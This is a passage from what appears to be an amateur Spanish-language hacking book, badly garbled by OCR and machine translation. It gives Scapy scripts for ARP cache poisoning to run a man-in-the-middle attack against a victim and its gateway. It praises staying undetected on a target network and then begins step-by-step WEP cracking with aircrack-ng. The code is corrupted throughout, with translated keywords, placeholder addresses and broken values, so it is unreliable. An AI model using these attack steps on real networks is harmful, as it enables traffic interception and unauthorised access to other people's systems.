>>> arpFake = ARP ()
>>> [Link] = 2
>>> [Link] =" [Link]> [Link] ="[Link]>
aprFake. hwdst =” 00: 14: 38: 00: 00: 02> [Link] ()
### [ARP] ###
hwtype = Ox1
de tipo p = 0x800
hwlen=6
plen=4
op =es-en
hwsre = 00: 14: 28: 00: 00: 01
PSRC = [Link]
hwdst = 00: 14: 38: 00: 00: 02
PDST = [Link]
Mira la la tabla ARP del objetivo: debe asi antes de enviar el paquete:
usuario @ victima-PC: / # arp-a
([Link]) a las 00: 19: 56: 00: 00: 001 [éter] enETH-latacante [Link] ([Link]) a las 00: 14: 38: 00: 00: 001 [éter]
ETH 1
Y, cuando se ha utilizado el comando >>> enviar (arpFake) para enviar
el empacador ARP, la mesa debe ser algo como esto :
usuario @ victima-PC: / #
arp-a?([Link]) a las 00: 14: 38: 00: 00: 01 [éter] en eth 1
atacante-PC. local ([Link]) a las 00: 14: 38: 00: 00: 01 [éter] eth 1
hemos tenido un buen comienzo aqui, pero hay un problema - la puerta
de entrada por defecto, en algtin momento, enviar el paquete ARP para
la direccion MAC correcta y que significa que el objetivo con el tiempo
no se deje engafiar por mas tiempo y la comunicacion ya no tendran
hacer para el hacker. La solucién es para oler las comunicaciones y
suplantar el destino en el que la respuesta ARP es enviado por la puerta
de enlace predeterminada. Para ello, el codigo seria algo como esto:
#1/ Usr / bin / python
# scapy Importar
de importacién [Link] *
# Configuraciénvariable
attIP="10.0.0.2317"
attMAC =" 00: 14: 38: 00: 00:01"
vicIP ="[Link]"
vicMAC
dgwIP ="[Link]"
dgwMAC =" 00: 19: 56: 00: 00: 01”
00: 14: 38: 00: 00: 02# Forja el paquete ARP
arpFake = ARP ()
[Link] = 2
[Link] = dgwIP
[Link] = vicIP
[Link] = vicMAC
# While enviar ARP
# cuando la memoria caché no ha sido falsificada
while True:
# Envian las respuestas ARP
envian (arpFake)
print “ARP envié”
#WAIT para el ARP respuestas de los GWpor defecto
aspiracién(filtro ="arp y anfitrién [Link]" , count = 1)
Para conseguir este trabajo de la manera correcta, tendra que guardar el
script como un archivo de Python. Cuando se haya guardado, usted sera
capaz de ejecutarlo con privilegios de administrador.
A partir de ahora, ninguna de las comunicaciones enviadas desde el
blanco a una red que es externa a [Link]/24 iran directamente a la
puerta de enlace predeterminada en la primera instancia. El problema es
que, aunque el hacker puede ver la informacién, todavia se pasa
directamente a la meta antes de que los cambios se pueden hacer por elhacker y esto es debido a que la tabla ARP no ha sido falsificada. Para
que esto ocurra como debe, se debe utilizar este codigo:
#!/Usr/bin/ python
# Importacién scapy
de importacion [Link] *
Las variables # Marco
attIP ="[Link]”
attMAC =" 00: 14: 38: 00: 00: 017
vicIP ="[Link]"
dgwIP =" [Link]"
dgwMAC ="00: 19: 56: 00: 00:01"
# Forja el paquete ARP para la victima
arpFakeVic = ARP ()
[Link] = 2
[Link] = dgwIP
[Link] = vicIP
arpFake Vic. hwdst = vicMAC
# Forja el paquete ARP para el defecto GQ
arpFakeDGW = ARP ()
[Link]- = 2[Link] = vitIP
[Link] = dgwIP
[Link] = dgwMAC
# Mientras bucle para enviar ARP
# cuando la memoria caché no ha sido
[Link] que cierto:
# Enviar la respuestas ARP
de envio (arpFake Vic)
enviar (arpFakeDGW)
print “ARP envi6”
# Espere a que la respuestas ARP desde el valor predeterminado GQ
Sniff (filtro ="arp y anfitrion [Link] 0 alojar [Link]" count = 1)
Ahora que usted ha hecho la parodia se puede, si lo desea, navegar por
la pagina web del objetivo de computadora, pero lo mas probable es
encontrar que su conexién se bloquea. La razon de esto es que la
mayoria de los equipos no envian paquetes a menos que las direcciones
IP de destino y son los mismos pero que cubrirén un poco mas tarde.
Por ahora. se han Ilevado a cabo un hombre en medio del ataque. Este
es un ataque muy util cuando se desea que la red del usuario engafiado
para que le permite obtener en el sistema y permanecer alli. Ademas de
eso, también comenzara a enviar alguna informacién que se necesita
para obtener acceso a la informacion real que necesita 0 que le
permitira realizar cambios en la informacién de que se han enviado al
destinatario correcto.Si usted tiene éxito en su ataque, usted debe ser capaz de obtener
acceso a una red de destino y reunir toda la informacion que necesita
sin ser detectado y esto es lo que hace que el MiTM la manera perfecta
de crear el caos en un sistema. Este es uno de los ataques mis utilizadas
por los hackers de sombrero negro por lo que, si usted esta tratando de
proteger su propio sistema contra estos ataques, que tendré que
practicar haciendo hombre en los ataques Media en su sistema para ver
si se puede hacer facilmente.Capitulo 5: Hackear una conexién de red
Todos los hackers, ya sean sombrero blanco, negro 0 gris, tiene que ser
capaz de entrar en una red o sistema sin ser visto por nadie. Si alguien
sabe que usted esta alli y sabe que no tiene ninguna autorizacion para
estar en la red, su ataque es tan bueno como termind. Sera retirado y el
punto de entrada que utiliz6 se cerrard y asegurado. La mejor manera
de entrar en una red y hacer lo que hay que hacer es hacking en una
conexién de red. Esto se puede hacer para descifrar el trafico en la red,
asi que si quieres. Si cualquier hacker pueda introducirse en su
conexién de red, que pueden hacer una gran cantidad de dafios en caso
de que quieran.
Antes de que veamos como hacking la conexion a la red, es vital que
comprenda todos los diferentes tipos de conexiones de red no sony qué
nivel de privacidad que cada uno tiene. El tipo de ataque a llevar a cabo
va a depender de lo que la seguridad esta en la conexién de red asi que
vamos a empezar por mirar a algunos de los protocolos de seguridad
basicas que puede encontrar en una conexi6n de red inalambrica:
© WEP - Esto significa Wired Equivalent Privacy y proporciona un
usuario con una conexi6n por cable cifrado. Se trata de uno de los
protocolos mas faciles de hack porque tiene un pequefio vector de
inicializacion tal - esto significa que el hacker encontrara muy facil de
conseguir en el flujo de datos. WEP se encuentra generalmente en las
redes mas antiguas que son desde hace mucho tiempo para la
actualizacién.
¢ WPA/WPAI - Este fue disefiado para tratar de solucionar algunos
de los puntos débiles en el cifrado WEP. WPA utiliza TKIP - Temporal
Key Integrity Protocol - y es una buena manera de mejorar la seguridad
de WEP y sin la necesidad de instalar nada nuevo en el sistema. Este se
encuentra normalmente en conjuncién con WEP© WPA2-PSK - Este protocolo tiende a ser utilizado mas por las
pequefias empresas y usuarios domésticos. Utiliza el PSK, que es una
clave previamente compartida y, a pesar de que proporciona mayor
seguridad que WEP y WPA no es completamente segura.
@ WPA2-AES - Este utiliza Advanced Encryption Standard, 0 AES
para cifrar los datos de la red. Si utiliza WPA2-AES en su sistema. las
posibilidades de que también utilizando el servidor RADIUS para
proporcionar autenticacién adicional son altos. Esto es mucho mas
dificil de hack las otras opciones, pero se puede hacer
Hackear una conexién WEP
Ahora sabemos un poco mas sobre las conexiones de red y la seguridad
que utilizan, vamos a empezar por intentar hacking una conexién WEP
- esto tiene el nivel mas bajo de seguridad, de modo que
empezar aqui, Para hacer esto, usted va a necesitar lo siguiente:
ne sentido
Aircrack-ng
@ retroceder
adaptador inalambricoun
Cuando se tiene todo esto, puede seguir estos pasos para hackear una
red WEP:
BackTrack abierto y conectarlo a su adaptador inalambrico - asegurarse
de que se esta funcionando correctamente. Para ello, escriba iwconfig
en el simbolo del sistema. Ahora deberia ser capaz de ver si el
adaptador ha sido reconocido 0 no. También debe ver wlan0, wlanl, y
asi sucesivamente,
. Cargar aircrack-ng en BackTrack
. A continuacién, es necesario asegurarse de que el adaptador estd en
modo promiscuo. Cuando el adaptador se ha configurado correctamente
usted sera capaz de buscar conexiones cercanas que se pueden utilizar.
Para poner el adaptador en modo promiscuo, tipo airmon-ng wlan0 se
inicia en el simbolo del sistema. airmon-ng le permitira cambiar el
También podría gustarte
Hacker PC
Aún no hay calificaciones
115 páginas